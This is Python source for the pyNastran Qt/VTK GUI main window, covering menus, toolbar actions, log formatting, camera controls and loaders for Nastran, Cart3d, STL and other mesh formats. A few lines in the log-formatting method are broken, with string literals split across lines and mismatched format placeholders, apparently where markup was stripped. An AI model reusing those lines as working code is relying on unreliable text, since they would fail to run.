# -*- coding: utf-8 -*-
from __future__ import division, unicode_literals, print_function

# Qt
try:
    from PySide import QtCore, QtGui
    fmode = 1
except ImportError:
    try:
        from PyQt4 import QtCore, QtGui
        fmode = 2
    except ImportError:
        msg = 'Failed to import PySide or PyQt4'
        raise ImportError(msg)
assert fmode in [1, 2]

# standard library
import sys
import os.path
import cgi #  html lib
import datetime
import traceback
#import webbrowser
#webbrowser.open("http://xkcd.com/353/")

# 3rd party
from numpy import ndarray, amax, amin
import vtk
from vtk.qt4.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor

# pyNastran
import pyNastran
from pyNastran.utils import print_bad_path
from pyNastran.utils.log import SimpleLogger
from pyNastran.gui.formats import (NastranIO, Cart3dIO, PanairIO, LaWGS_IO, STL_IO, TetgenIO, Usm3dIO, Plot3d_io,
    is_nastran, is_cart3d, is_panair, is_lawgs, is_stl, is_tetgen, is_usm3d, is_plot3d)
from pyNastran.gui.arg_handling import get_inputs

pkg_path = pyNastran.__path__[0]
script_path = os.path.join(pkg_path, 'gui', 'scripts')
icon_path = os.path.join(pkg_path, 'gui', 'icons')

# tcolorpick.png and tabout.png trefresh.png icons on LGPL license, see
# http://openiconlibrary.sourceforge.net/gallery2/?./Icons/actions/color-picker-grey.png
# http://openiconlibrary.sourceforge.net/gallery2/?./Icons/actions/help-hint.png
# http://openiconlibrary.sourceforge.net/gallery2/?./Icons/actions/view-refresh-8.png

# kills the program when you hit Cntl+C from the command line
import signal
signal.signal(signal.SIGINT, signal.SIG_DFL)

class MainWindow(QtGui.QMainWindow, NastranIO, Cart3dIO, PanairIO, LaWGS_IO, STL_IO, TetgenIO, Usm3dIO, Plot3d_io):
    def __init__(self, inputs):
        QtGui.QMainWindow.__init__(self)

        NastranIO.__init__(self)
        Cart3dIO.__init__(self)
        PanairIO.__init__(self)
        LaWGS_IO.__init__(self)
        STL_IO.__init__(self)
        TetgenIO.__init__(self)
        Usm3dIO.__init__(self)
        Plot3d_io.__init__(self)

        settings = QtCore.QSettings()

        self.Title = None
        self.Title_overwrite = None
        self.min_value = None
        self.max_value = None
        self.blue_to_red = False
        self.nvalues = 9

        #-------------
        # inputs dict
        self.is_edges = inputs['is_edges']
        self.is_nodal = inputs['is_nodal']
        self.is_centroidal = inputs['is_centroidal']
        self.magnify = inputs['magnify']
        assert self.is_centroidal != self.is_nodal, "is_centroidal and is_nodal can't be the same and are set to \"%s\"" % self.is_nodal
        format = inputs['format']  # the active format loaded into the gui
        input = inputs['input']
        output = inputs['output']
        script = inputs['script']

        #self.format = ''
        debug = inputs['debug']
        self.debug = debug
        assert debug in [True, False], 'debug=%s' % debug
        shots = inputs['shots']
        if shots is None:
            shots = []

        #-------------
        # file
        self.format = None
        self.infile_name = None
        self.out_filename = None
        self.dirname = ''
        self.last_dir = '' # last visited directory while opening file

        #-------------
        # internal params
        self.show_info = True
        self.show_debug = True
        self.show_gui = True
        self.show_command = True

        self.nCases = 0
        self.iCase = 0
        self.nNodes = 0
        self.nElements = 0

        #-------
        # vtk actors

        self.grid = vtk.vtkUnstructuredGrid()
        #gridResult = vtk.vtkFloatArray()

        self.grid2 = vtk.vtkUnstructuredGrid()
        #self.emptyResult = vtk.vtkFloatArray()
        #self.vectorResult = vtk.vtkFloatArray()

        # edges
        self.edgeActor = vtk.vtkActor()
        self.edgeMapper = vtk.vtkPolyDataMapper()

        # cell picker
        self.cell_picker = vtk.vtkCellPicker()
        self.cell_picker.SetTolerance(0.0005)

        # scalar bar
        self.scalarBar = vtk.vtkScalarBarActor()

        #-------------
        # logging

        self.log = SimpleLogger('debug', lambda x, y: self.logg_msg(x, y))
        # logging needs synchronizing, so the messages from different threads
        # would not be interleave
        self.log_mutex = QtCore.QReadWriteLock()

        #-------------
        # build GUI and restore saved application state
        self.restoreGeometry(settings.value("mainWindowGeometry").toByteArray())
        self.background_col = settings.value("backgroundColor", (0.1, 0.2, 0.4)).toPyObject()

        self.init_ui()
        self.vtk_interactor.SetPicker(self.cell_picker)

        self.restoreState(settings.value("mainWindowState").toByteArray())

        #-------------
        # loading
        self.show()

        #inputs['format'] = 'nastran'
        #inputs['input'] = 'solid_bending.bdf'
        self.load_batch_inputs(inputs)
        #self.on_load_geometry('solid_bending.bdf', 'nastran')
        #self.on_load_results('solid_bending.op2')
        #self.vtk_interactor.Modified()

        if shots:
        #for shot in shots:
            self.on_take_screenshot(shots)
            sys.exit('took screenshot %r' % shots)

        if script:
            self.on_run_script(script)

    def on_cell_picker(self):
        worldPosition = self.cell_picker.GetPickPosition()
        cell_id = self.cell_picker.GetCellId()
        ds = self.cell_picker.GetDataSet()
        self.log_command("on_cell_picker()")
        self.log_info("worldPosition = %s" % str(worldPosition))
        self.log_info("cell_id = %s" % cell_id)
        self.log_info("data_set = %s" % ds)

    def load_batch_inputs(self, inputs):
        if not inputs['format']:
            return
        form = inputs['format'].lower()
        input = inputs['input']
        output = inputs['output']
        is_failed = self.on_load_geometry(input, form)
        if is_failed:
            return
        if output:
            print("format=%r" % format)
            print("output=%r" % output)
            self.on_load_results(output)
        self._simulate_key_press('r')
        self.vtk_interactor.Modified()

    def logg_msg(self, typ, msg):
        """
        Add message to log widget trying to choose right color for it.
        @param msg message to be displayed
        """
        _fr =  sys._getframe(4)  # jump to get out of the logger code
        n = _fr.f_lineno
        fn = os.path.basename(_fr.f_globals['__file__'])

        if typ == 'DEBUG' and not self.show_debug:
            return
        elif typ == 'INFO' and not self.show_info:
            return
        elif typ == 'GUI' and not self.show_gui:
            return
        elif typ == 'COMMAND' and not self.show_command:
            return

        msg = '   fname=%-25s lineNo=%-4s   %s\n' % (fn, n, msg)

        tim = datetime.datetime.now().strftime('[%d-%m-%Y %H:%M:%S]')
        msg = cgi.escape(msg)
        #message colors
        dark_orange = '#EB9100'
        cols = {"GUI": "blue", "COMMAND":"green", "GUI ERROR":"Crimson", "DEBUG" : dark_orange}
        msg = msg.rstrip().replace('\n', '
')
        msg = tim + ' ' + (typ + ': ' + msg) if typ else msg
        if typ in cols:
            msg = ' %s ' % (cols[typ], msg)

        self.log_mutex.lockForWrite()
        text_cursor = self.log_widget.textCursor()
        end = text_cursor.End
        #print("end", end)
        text_cursor.movePosition(end)
        #print dir(text_cursor)
        text_cursor.insertHtml(msg + r"
")
        self.log_widget.ensureCursorVisible() # new message will be visible
        self.log_mutex.unlock()

    def log_info(self, msg):
        """ Helper funtion: log a messaage msg with a 'GUI:' prefix """
        self.log.simple_msg(msg, 'GUI')

    def log_command(self, msg):
        """ Helper funtion: log a messaage msg with a 'GUI:' prefix """
        self.log.simple_msg(msg, 'COMMAND')

    def log_error(self, msg):
        """ Helper funtion: log a messaage msg with a 'GUI:' prefix """
        self.log.simple_msg(msg, 'GUI ERROR')

    def change_background_col(self):
        """ Choose a background color """
        c =  [int(255 * i) for i in self.background_col]
        col = QtGui.QColorDialog.getColor(QtGui.QColor(*c), self, "Choose a background color")
        if col.isValid():
            self.background_col = col.getRgbF()[:3]
            self.rend.SetBackground(*self.background_col)

    def about_dialog(self):
        """ Display about dialog """
        about = [
            'pyNastran QT GUI',
            '',
            'pyNastran v%s' % pyNastran.__version__,
            pyNastran.__copyright__,
            pyNastran.__author__,
            '',
            '%s' % pyNastran.__website__,
            '',
            'Mouse',
            'Left Click - Rotate',
            'Middle Click - Pan/Recenter Rotation Point',
            'Shift + Left Click - Pan/Recenter Rotation Point',
            'Right Mouse - Zoom',
            '',
            'Keyboard Controls',
            'r   - reset camera view',
            'X/x - snap to x axis',
            'Y/y - snap to y axis',
            'Z/z - snap to z axis',
            '',
            #'h   - show/hide legend & info',
            'CTRL+I - take a screenshot (image)',
            #'L     - cycle op2 results',
            'm/M    - scale up/scale down by 1.1 times',
            'o/O    - rotate counter-clockwise/clockwise 5 degrees',
            's      - view model as a surface',
            'w      - view model as a wireframe',
        ]
        QtGui.QMessageBox.about(self, "About pyNastran GUI", "\n".join(about))

    def set_window_title(self, msg):
        msg2 = "pyNastran v%s - "  % pyNastran.__version__
        msg2 += msg
        self.setWindowTitle(msg)

    def init_ui(self):
        """ Initialize user iterface"""
        self.resize(800, 600)
        self.statusBar().showMessage('Ready')

        # windows title and aplication icon
        self.setWindowTitle('Statusbar')
        self.setWindowIcon(QtGui.QIcon(os.path.join(icon_path, 'logo.png')))
        self.set_window_title('')

        #=========== Results widget ===================
        self.res_dock = QtGui.QDockWidget("Results", self)
        self.res_dock.setObjectName("results_obj")
        self.res_widget = QtGui.QTextEdit()
        self.res_widget.setReadOnly(True)
        self.res_dock.setWidget(self.res_widget)
        self.addDockWidget(QtCore.Qt.RightDockWidgetArea, self.res_dock)
        #=========== Logging widget ===================
        self.log_dock = QtGui.QDockWidget("Application log", self)
        self.log_dock.setObjectName("application_log")
        self.log_widget = QtGui.QTextEdit()
        self.log_widget.setReadOnly(True)
        self.log_dock.setWidget(self.log_widget)
        self.addDockWidget(QtCore.Qt.BottomDockWidgetArea, self.log_dock)
        #===============================================

        # right sidebar

        ## menubar
        self.menubar = self.menuBar()
        self.menu_file = self.menubar.addMenu('&File')
        self.menu_view = self.menubar.addMenu('&View')
        self.menu_window = self.menubar.addMenu('&Window')
        self.menu_help = self.menubar.addMenu('&Help')
        self.menu_scripts = self.menubar.addMenu('&Scripts')

        ## toolbar
        self.toolbar = self.addToolBar('Show toolbar')
        self.toolbar.setObjectName('main_toolbar')

        # prepare actions that will  be used in application
        actions = {}
        #pth = os.path.join(icon_path, 'tbdf.png')
        pth = os.path.join(icon_path, 'tbdf.png')
        #print print_bad_path(pth)

        # http://docs.python.org/2/library/sys.html#sys.platform
        #System  platform value
        #Linux (2.x and 3.x) 'linux2'
        #Windows 'win32'
        #Windows/Cygwin  'cygwin'
        #Mac OS X    'darwin'
        #print sys.platform
        #quit_key = 'Alt+F4' if sys.platform in ['win32', 'cygwin'] else 'Ctrl+Q'

        checkables = ['show_info', 'show_debug', 'show_gui', 'show_command']
        scripts = [script for script in os.listdir(script_path) if '.py' in script ]
        scripts = tuple(scripts)
        print('script_path =', script_path)
        print('scripts =', scripts)

        tools = [
          ('exit', '&Exit', os.path.join(icon_path, 'texit.png'), 'Ctrl+Q', 'Exit application', QtGui.qApp.quit),
          ('load_geometry', 'Load &Geometry', os.path.join(icon_path, 'load_geometry.png'), 'Ctrl+O', 'Loads a geometry input file', self.on_load_geometry),  ## @todo no picture...
          ('load_results', 'Load &Results',   os.path.join(icon_path, 'load_results.png'), 'Ctrl+R', 'Loads a results file', self.on_load_results),  ## @todo no picture...
          ('back_col', 'Change background color', os.path.join(icon_path, 'tcolorpick.png'), None, 'Choose a background color', self.change_background_col),

          ('wireframe', 'Wireframe Model', os.path.join(icon_path, 'twireframe.png'), 'w', 'Show Model as a Wireframe Model', self.on_wireframe),
          ('surface', 'Surface Model', os.path.join(icon_path, 'tsolid.png'), 's', 'Show Model as a Surface Model', self.on_surface),
          ('edges', 'Show/Hide Edges', os.path.join(icon_path, 'tedges.png'), 'e', 'Show/Hide Model Edges', self.onFlipEdges),

          ('show_info', 'Show INFO', os.path.join(icon_path, 'show_info.png'), None, 'Show "INFO" messages', self.on_show_info),
          ('show_debug', 'Show DEBUG', os.path.join(icon_path, 'show_debug.png'), None, 'Show "DEBUG" messages', self.on_show_debug),
          ('show_gui', 'Show GUI', os.path.join(icon_path, 'show_gui.png'), None, 'Show "GUI" messages', self.on_show_gui),
          ('show_command', 'Show COMMAND', os.path.join(icon_path, 'show_command.png'), None, 'Show "COMMAND" messages', self.on_show_command),

          ('magnify', 'Magnify', os.path.join(icon_path, 'plus_zoom.png'), 'M', 'Increase Magnfication', self.on_increase_magnification),
          ('shrink', 'Shrink', os.path.join(icon_path, 'minus_zoom.png'), 'm', 'Decrease Magnfication', self.on_decrease_magnification),

          ('cell_pick', 'Cell Pick', '', 'CTRL+K', 'PickTip', self.on_cell_picker),

          ('rotate_clockwise', 'Rotate Clockwise', os.path.join(icon_path, 'tclock.png'), 'o', 'Rotate Clockwise', self.on_rotate_clockwise),
          ('rotate_cclockwise', 'Rotate Counter-Clockwise', os.path.join(icon_path, 'tcclock.png'), 'O', 'Rotate Counter-Clockwise', self.on_rotate_cclockwise),

          ('scshot', 'Take a Screenshot', os.path.join(icon_path, 'tcamera.png'), 'CTRL+I', 'Take a Screenshot of current view', self.take_screenshot),
          ('about', 'About pyNastran GUI', os.path.join(icon_path, 'tabout.png'), 'CTRL+H', 'About pyNastran GUI and help on shortcuts', self.about_dialog),
          ('creset', 'Reset camera view', os.path.join(icon_path, 'trefresh.png'), 'r', 'Reset the camera view to default', self.on_reset_camera),
          ('reload', 'Reload model', os.path.join(icon_path, 'treload.png'), 'r', 'Reload the model', self.on_reload),

          ('cycle_res', 'Cycle Results', os.path.join(icon_path, 'cycle_results.png'), 'CTRL+L', 'Changes the result case', self.cycleResults),

          ('x', 'Flips to +X Axis', os.path.join(icon_path, 'plus_x.png'), 'x', 'Flips to +X Axis', lambda: self.update_camera('+x')),
          ('y', 'Flips to +Y Axis', os.path.join(icon_path, 'plus_y.png'), 'y', 'Flips to +Y Axis', lambda: self.update_camera('+y')),
          ('z', 'Flips to +Z Axis', os.path.join(icon_path, 'plus_z.png'), 'z', 'Flips to +Z Axis', lambda: self.update_camera('+z')),

          ('X', 'Flips to -X Axis', os.path.join(icon_path, 'minus_x.png'), 'X', 'Flips to -X Axis', lambda: self.update_camera('-x')),
          ('Y', 'Flips to -Y Axis', os.path.join(icon_path, 'minus_y.png'), 'Y', 'Flips to -Y Axis', lambda: self.update_camera('-y')),
          ('Z', 'Flips to -Z Axis', os.path.join(icon_path, 'minus_z.png'), 'Z', 'Flips to -Z Axis', lambda: self.update_camera('-z')),
          ('script', 'Run Python script', os.path.join(icon_path, 'python.png'), None, 'Runs pyNastranGUI in batch mode', self.on_run_script),
        ]
        for script in scripts:
            fname = os.path.join(script_path, script)
            tool = (script, script, os.path.join(icon_path, 'python.png'), None, '', self.on_run_script )
            tools.append(tool)

        for (nam, txt, icon, shortcut, tip, func) in tools:
            #print "name=%s txt=%s icon=%s short=%s tip=%s func=%s" % (nam, txt, icon, short, tip, func)
            #if icon is None:
                #print "missing_icon = %r!!!" % nam
                #icon = os.path.join(icon_path, 'no.png')

            if icon is None:
                print("missing_icon = %r!!!" % nam)
                #print print_bad_path(icon)
            #elif not "/" in icon:
                #ico = QtGui.QIcon.fromTheme(icon)
            else:
                ico = QtGui.QIcon()
                ico.addPixmap(QtGui.QPixmap(icon), QtGui.QIcon.Normal, QtGui.QIcon.Off)

            if nam in checkables:
                actions[nam] = QtGui.QAction(ico, txt, self, checkable=True)
                actions[nam].setChecked(True)
            else:
                actions[nam] = QtGui.QAction(ico, txt, self)

            if shortcut:
                actions[nam].setShortcut(shortcut)
            if tip:
                actions[nam].setStatusTip(tip)
            if func:
                actions[nam].triggered.connect(func)

        actions['toolbar'] = self.toolbar.toggleViewAction()
        actions['toolbar'].setStatusTip("Show/Hide application toolbar")

        actions['reswidget'] = self.res_dock.toggleViewAction()
        actions['reswidget'].setStatusTip("Show/Hide results selection")

        actions['logwidget'] = self.log_dock.toggleViewAction()
        actions['logwidget'].setStatusTip("Show/Hide application log")

        menu_items = [(self.menu_file, ('load_geometry', 'load_results', 'script', '', 'exit')),
                      (self.menu_view,  ('scshot', '', 'wireframe', 'surface', 'creset', '', 'back_col', '', 'show_info', 'show_debug', 'show_gui', 'show_command')),
                      (self.menu_window,('toolbar', 'reswidget', 'logwidget' )),
                      (self.menu_help,  ('about',)),
                      (self.menu_scripts, scripts),
                      (self.toolbar, ('cell_pick', 'reload', 'load_geometry', 'load_results', 'cycle_res',
                                      'x', 'y', 'z', 'X', 'Y', 'Z',
                                      'magnify', 'shrink', 'rotate_clockwise', 'rotate_cclockwise',
                                      'wireframe', 'surface', 'edges', 'creset', 'scshot', '', 'exit'))]
        # populate menus and toolbar
        for menu, items in menu_items:
            for i in items:
                if not i:
                    menu.addSeparator()
                else:
                    menu.addAction(actions[i] if isinstance(i, basestring) else i())
        self.res_dock.hide()

        #Frame that VTK will render on
        vtk_frame = QtGui.QFrame()
        vtk_hbox  = QtGui.QHBoxLayout()
        vtk_hbox.setContentsMargins(2, 2, 2, 2)

        #Qt VTK RenderWindowInteractor
        self.vtk_interactor = QVTKRenderWindowInteractor(parent = vtk_frame)
        vtk_hbox.addWidget(self.vtk_interactor)
        vtk_frame.setLayout(vtk_hbox)
        vtk_frame.setFrameStyle(QtGui.QFrame.NoFrame | QtGui.QFrame.Plain)
        # this is our main, 'central' widget
        self.setCentralWidget(vtk_frame)

        #=============================================================
        self.rend = vtk.vtkRenderer()
        self.vtk_interactor.GetRenderWindow().AddRenderer(self.rend)
        self.vtk_interactor.GetRenderWindow().Render()
        #self.load_nastran_geometry(None, None)
        self.textActors = {}

        self.addGeometry()
        self.addAltGeometry()
        self.rend.GetActiveCamera().ParallelProjectionOn()
        self.rend.SetBackground(*self.background_col)
        self.rend.ResetCamera()
        self._simulate_key_press('t') # change mouse style to trackball
        self.build_lookup_table()

        self.magnify = 1
        self.iText = 0
        textSize = 14 * self.magnify
        self.createText([5, 50], 'Max  ', textSize)  # text actor 0
        self.createText([5, 35], 'Min  ', textSize)  # text actor 1
        self.createText([5, 20], 'Word1', textSize)  # text actor 2
        self.createText([5, 5], 'Word2', textSize)  # text actor 3

        self.get_edges()
        if self.is_edges:
            prop = self.edgeActor.GetProperty()
            prop.EdgeVisibilityOn()
        else:
            prop = self.edgeActor.GetProperty()
            prop.EdgeVisibilityOff()

    #def _script_helper(self, python_file=False):
        #if python_file in [None, False]:
            #self.on_run_script(python_file)

    def on_run_script(self, python_file=False):
        if python_file in [None, False]:
            Title = 'Choose a Python Script to Run'
            wildcard = "Python (*.py)"
            wildcard_index, infile_name = self._create_load_file_dialog(wildcard, Title)
            if not infile_name:
                is_failed = True
                return is_failed # user clicked cancel

            python_file = os.path.join(script_path, infile_name)
        execfile(python_file)
        self.log_command('self.on_run_script(%r)' % python_file)

    def on_show_info(self):
        self.show_info = not(self.show_info)

    def on_show_debug(self):
        self.show_debug = not(self.show_debug)

    def on_show_gui(self):
        self.show_gui = not(self.show_gui)

    def on_show_command(self):
        self.show_command = not(self.show_command)

    def on_reset_camera(self):
        self.log_command('on_reset_camera()')
        self._simulate_key_press('r')

    def on_surface(self):
        self.log_command('on_surface()')
        self._simulate_key_press('s')

    def on_wireframe(self):
        self.log_command('on_wireframe()')
        self._simulate_key_press('w')

    def _update_camera(self, camera=None):
        if camera is None:
            camera = self.GetCamera()
        camera.Modified()
        self.vtk_interactor.Render()

    def zoom(self, value):
        camera = self.GetCamera()
        camera.Zoom(value)
        camera.Modified()
        self.vtk_interactor.Render()
        self.log_command('zoom(%s)' % value)
        #except Exception as e:
            #self.log_error(str(e))

    def rotate(self, rotate_deg):
        camera = self.GetCamera()
        camera.Roll(-rotate_deg)
        camera.Modified()
        self.vtk_interactor.Render()
        self.log_command('rotate(%s)' % rotate_deg)

    def on_rotate_clockwise(self):
        self.rotate(15.0)

    def on_rotate_cclockwise(self):
        self.rotate(-15.0)

    def on_increase_magnification(self):
        self.zoom(1.1)

    def on_decrease_magnification(self):
        self.zoom(1.0/1.1)

    def onFlipEdges(self):
        self.is_edges = not(self.is_edges)
        self.edgeActor.SetVisibility(self.is_edges)
        #self.edgeActor.GetProperty().SetColor(0, 0, 0)  # cart3d edge color isn't black...
        self.edgeActor.Modified()
        #self.widget.Update()
        self._update_camera()
        #self.refresh()
        self.log_command('onFlipEdges()')

    def get_edges(self):
        """
        ..todo:: For some reason, the edge color is set to the parent
        surface's color instead of black
        """
        edges = vtk.vtkExtractEdges()
        edges.SetInput(self.grid)
        self.edgeMapper.SetInput(edges.GetOutput())

        self.edgeActor.SetMapper(self.edgeMapper)
        self.edgeActor.GetProperty().SetColor(0, 0, 0)

        prop = self.edgeActor.GetProperty()
        prop.SetColor(0, 0, 0)
        self.edgeActor.SetVisibility(self.is_edges)
        self.rend.AddActor(self.edgeActor)

    def createText(self, position, label, textSize=18, movable=False):
        txt = vtk.vtkTextActor()
        txt.SetInput(label)
        txtprop = txt.GetTextProperty()
        #txtprop.SetFontFamilyToArial()
        txtprop.SetFontSize(textSize)
        txtprop.SetColor(1, 1, 1)
        txt.SetDisplayPosition(*position)

        #print "dir(text) = ",dir(txt)
        txt.VisibilityOff()

        #txt.SetDisplayPosition(5,5) # bottom left
        #txt.SetDisplayPosition(5,95)
        #txt.SetPosition(0.1,0.5)

        # assign actor to the renderer
        self.rend.AddActor(txt)
        self.textActors[self.iText] = txt
        self.iText += 1

    def TurnTextOff(self):
        for (i, text) in self.textActors.iteritems():
            text.VisibilityOff()

    def TurnTextOn(self):
        for (i, text) in self.textActors.iteritems():
            text.VisibilityOn()

    def build_lookup_table(self):
        self.colorFunction = vtk.vtkColorTransferFunction()
        self.colorFunction.SetColorSpaceToHSV()
        self.colorFunction.HSVWrapOff()

        drange = [10., 20.]
        # blue - low
        # red - high
        self.colorFunction.AddRGBPoint(drange[0], 0.0, 0.0, 1.0)
        self.colorFunction.AddRGBPoint(drange[1], 1.0, 0.0, 0.0)

        self.scalarBar.SetTitle("Title1")
        self.scalarBar.SetLookupTable(self.colorFunction)
        self.scalarBar.SetOrientationToVertical()

        self.scalarBar.SetHeight(0.9)
        self.scalarBar.SetWidth(0.20)  # the width is set first
        # after the width is set, this is adjusted
        self.scalarBar.SetPosition(0.77, 0.1)

        propTitle = vtk.vtkTextProperty()
        propTitle.SetFontFamilyToArial()
        #propTitle.ItalicOff()
        propTitle.BoldOn()
        propTitle.ShadowOn()

        propLabel = vtk.vtkTextProperty()
        propLabel.BoldOff()
        propLabel.ShadowOn()

        scalar_range = self.grid.GetScalarRange()
        self.aQuadMapper.SetScalarRange(scalar_range)
        self.aQuadMapper.SetLookupTable(self.colorFunction)

        #self.scalarBar.SetTitleTextProperty(propTitle)
        #self.scalarBar.SetLabelTextProperty(propLabel)
        self.scalarBar.SetLabelFormat("%i")

        # allows 0-1 to be nice number when ranging values (gotta pick something)
        self.scalarBar.SetNumberOfLabels(11)
        self.scalarBar.SetMaximumNumberOfColors(11)

        #self.scalarBar.VisibilityOff()  # first load -> scalar bar off
        #self.scalarBar.ShadowOn()
        #self.scalarBar.RepositionableOn()
        self.rend.AddActor(self.scalarBar)
        self.scalarBar.VisibilityOff()
        #return scalarBar

    def on_reload(self):
        Title = self.Title
        if self.format == 'usm3d':
            self.step_results_usm3d()
        else:
            self.on_load_geometry(self.infile_name, self.format)

        msg = '%s - %s - %s' % (self.format, self.infile_name, self.out_filename)
        self.set_window_title(msg)
        #self.cycleResults(Title)
        for i in xrange(10):  #  limit on number of cycles
            if self.Title != Title:
                self.cycleResults(Title)
            else:
                break

    def on_load_geometry(self, infile_name=None, geometry_format=None):
        wildcard = ''
        is_failed = False
        if infile_name:
            geometry_format = geometry_format.lower()
            print("geometry_format = %r" % geometry_format)
            if geometry_format == 'nastran':
                has_results = True
                load_function = self.load_nastran_geometry
            elif geometry_format == 'cart3d':
                has_results = True
                load_function = self.load_cart3d_geometry
            elif geometry_format == 'panair':
                has_results = False
                load_function = self.load_panair_geometry
            elif geometry_format == 'lawgs':
                has_results = False
                load_function = None
            elif geometry_format == 'stl':
                has_results = False
                load_function = self.load_stl_geometry
            elif geometry_format == 'tetgen':
                has_results = False
                load_function = self.load_tetgen_geometry
            elif geometry_format == 'usm3d':
                has_results = False
                load_function = self.load_usm3d_geometry
            elif geometry_format == 'plot3d':
                has_results = False
                load_function = self.load_plot3d_geometry
            else:
                self.log_error('---invalid format=%r' % geometry_format)
                is_failed = True
                return is_failed
                raise NotImplementedError('on_load_geometry; infile_name=%r format=%r' % (infile_name, geometry_format))
            formats = [geometry_format]
            filter_index = 0
        else:
            formats = []
            load_functions = []
            has_results_list = []
            wildcard_list = []
            if is_nastran:
                wildcard_list.append("Nastran BDF (*.bdf; *.dat; *.nas)")
                formats.append('Nastran')
                has_results_list.append(True)
                load_functions.append(self.load_nastran_geometry)
                #load_functions.append(None)
            if is_cart3d:
                wildcard_list.append("Cart3d (*.tri; *.triq)")
                formats.append('Cart3d')
                has_results_list.append(True)
                load_functions.append(self.load_cart3d_geometry)
            if is_panair:
                wildcard_list.append("Panair (*.inp)")
                formats.append('Panair')
                has_results_list.append(True)
                load_functions.append(self.load_panair_geometry)
            if is_lawgs:
                wildcard_list.append("LaWGS (*.inp)")
                formats.append('LaWGS')
                has_results_list.append(False)
                load_functions.append(None)
            if is_stl:
                wildcard_list.append("STereoLithography (*.STL)")
                formats.append('STL')
                has_results_list.append(False)
                load_functions.append(None)
            if is_tetgen:
                wildcard_list.append("Tetgen (*.smesh)")
                formats.append('STL')
                has_results_list.append(False)
                load_functions.append(self.load_tetgen_geometry)
            if is_usm3d:
                wildcard_list.append("USM3D (*.cogsg; *.front)")
                formats.append('USM3D')
                has_results_list.append(True)
                load_functions.append(self.load_usm3d_geometry)
            if is_plot3d:
                wildcard_list.append("Plot3D (*.p3d; *.p3da)")
                formats.append('Plot3D')
                has_results_list.append(False)
                load_functions.append(self.load_plot3d_geometry)
            wildcard = ';;'.join(wildcard_list)

            # get the filter index and filename
            if infile_name is not None and geometry_format is not None:
                filter_index = formats.index(geometry_format)
            else:
                Title = 'Choose a Geometry File to Load'
                wildcard_index, infile_name = self._create_load_file_dialog(wildcard, Title)
                #print("infile_name = %r" % infile_name)
                #print("wildcard_index = %r" % wildcard_index)
                if not infile_name:
                    is_failed = True
                    return is_failed # user clicked cancel
                filter_index = wildcard_list.index(wildcard_index)

            geometry_format = formats[filter_index]
            load_function = load_functions[filter_index]
            has_results = has_results_list[filter_index]
            #return is_failed

        if load_function is not None:
            self.last_dir = os.path.split(infile_name)[0]

            self.grid.Reset()
            self.grid.Modified()
            self.grid2.Reset()
            self.grid2.Modified()
            #gridResult.Reset()
            #gridResult.Modified()

            if not os.path.exists(infile_name) and geometry_format:
                msg = 'input file=%r does not exist' % infile_name
                self.log_error(msg)
                return

            self.log_info("reading %s file %r" % (geometry_format, infile_name))
            try:
                has_results = load_function(infile_name, self.last_dir)
            except Exception as e:
                msg = traceback.format_exc()
                self.log_error(msg)
                raise
                #return
            #self.vtk_panel.Update()
            self.rend.ResetCamera()

        # the model has been loaded, so we enable load_results
        if filter_index >= 0:
            self.format = formats[filter_index].lower()
            if has_results:
                enable = True
            else:
                enable = False
            #self.load_results.Enable(enable)
        else: # no file specified
            return
        print("on_load_geometry(%r)" % infile_name)
        self.infile_name = infile_name

        if self.out_filename is not None:
            msg = '%s - %s - %s' % (self.format, self.infile_name, self.out_filename)
        else:
            msg = '%s - %s - %s' % (self.format, self.infile_name)
        self.set_window_title(msg)

        self.log_command("on_load_geometry(%r, %r)" % (infile_name, self.format))

    def _create_load_file_dialog(self, qt_wildcard, Title):
        # getOpenFileName return QString and we want Python string
        fname, wildcard_level = QtGui.QFileDialog.getOpenFileNameAndFilter(self, Title, self.last_dir, qt_wildcard)
        #print "d =", d # fname, wildcard_level
        #fname = str(QtGui.QFileDialog.getOpenFileName(self, Title, self.last_dir, wildcard))
        return str(wildcard_level), str(fname)

    def import_nastran_geometry(self, infile_name, geometry_format):
        """
        Load BDF file.
        """
        # getOpenFileName return QString and we want Python string
        fname = str(QtGui.QFileDialog.getOpenFileName(self, 'Open BDF file', self.last_dir,
        'Nastran BDF (*.bdf *.dat *.nas)'))

        if fname:
            self.last_dir = os.path.split(fname)[0]
            self.load_nastran_geometry(fname, self.last_dir)
            self.rend.ResetCamera()
            #self.set_window_title_msg(fname)

    def on_load_results(self, out_filename=None):
            geometry_format = self.format
            if self.format is None:
                msg ='on_load_results failed:  You need to load a file first...'
                self.log_error(msg)
                raise RuntimeError(msg)

            if out_filename in [None, False]:
                Title = 'Select a Results File for %s' % self.format
                if geometry_format == 'nastran':
                    has_results = True
                    #wildcard = "Nastran OP2 (*.op2);;Nastran PCH (*.pch);;Nastran F06 (*.f06)"
                    wildcard = "Nastran OP2 (*.op2)"
                    load_functions = [self.load_nastran_results]
                elif geometry_format == 'cart3d':
                    has_results = True
                    wildcard = "Cart3d (*.triq)"
                    load_functions = [self.load_cart3d_results]
                elif geometry_format == 'panair':
                    has_results = False
                    wildcard = "Panair (*.agps);;Panair (*.out)"
                    load_functions = [self.load_panair_results]
                elif geometry_format == 'lawgs':
                    has_results = False
                    load_functions = [None]
                elif geometry_format == 'stl':
                    has_results = False
                    load_functions = [None]
                elif geometry_format == 'tetgen':
                    has_results = False
                    load_functions = [None]
                elif geometry_format == 'usm3d':
                    wildcard = "Usm3d (*.flo)"
                    has_results = True
                    load_functions = [self.load_usm3d_results]
                elif geometry_format == 'plot3d':
                    has_results = False
                    load_functions = [None]
                else:
                    msg = 'format=%r is not supported' % geometry_format
                    self.log_error(msg)
                    raise RuntimeError(msg)
                #scard = wildcard.split(';;')
                #n = len(load_functions)
                #wildcard = ';;'.join(scard[:n])
                load_function = load_functions[0]

                wildcard_index, out_filename = self._create_load_file_dialog(wildcard, Title)
            else:
                if geometry_format == 'nastran':
                    load_function = self.load_nastran_results
                elif geometry_format == 'cart3d':
                    load_function = self.load_cart3d_results
                #elif geometry_format == 'panair':
                    #load_function = self.load_panair_results
                #elif geometry_format == 'lawgs':
                    #load_function = None
                #elif geometry_format == 'stl':
                    #load_function = None
                #elif geometry_format == 'tetgen':
                    #load_function = None
                elif geometry_format == 'usm3d':
                    load_function = self.load_usm3d_results
                #elif geometry_format == 'plot3d':
                    #load_function = None
                else:
                    msg = 'format=%r is not supported.  Did you load a geometry model?' % geometry_format
                    self.log_error(msg)
                    raise RuntimeError(msg)

            if out_filename == '':
                return
            if not os.path.exists(out_filename):
                msg = 'result file=%r does not exist' % out_filename
                self.log_error(msg)
                return
                #raise IOError(msg)
